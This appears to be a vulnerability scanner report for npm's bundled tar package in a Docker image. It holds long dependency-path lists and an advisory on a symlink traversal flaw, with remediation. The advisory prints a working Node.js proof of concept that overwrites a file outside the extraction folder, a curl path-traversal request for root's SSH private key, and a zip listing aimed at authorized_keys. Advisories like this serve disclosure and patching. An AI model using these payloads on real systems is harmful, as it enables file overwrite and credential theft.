  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


        const fs = require('fs')
        const path = require('path')
        const { Header, x } = require('tar')
        
        const cwd = process.cwd()
        const target = path.resolve(cwd, '..', 'target.txt')
        const tarFile = path.join(cwd, 'poc.tar')
        
        fs.writeFileSync(target, 'ORIGINAL\n')
        
        const b = Buffer.alloc(1536)
        new Header({
          path: 'a/b/l',
          type: 'SymbolicLink',
          linkpath: 'C:../../../target.txt',
        }).encode(b, 0)
        fs.writeFileSync(tarFile, b)
        
        x({ cwd, file: tarFile }).then(() => {
          fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
          process.stdout.write(fs.readFileSync(target, 'utf8'))
        })

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

More about this vulnerability

Infinite loop

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: tar
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
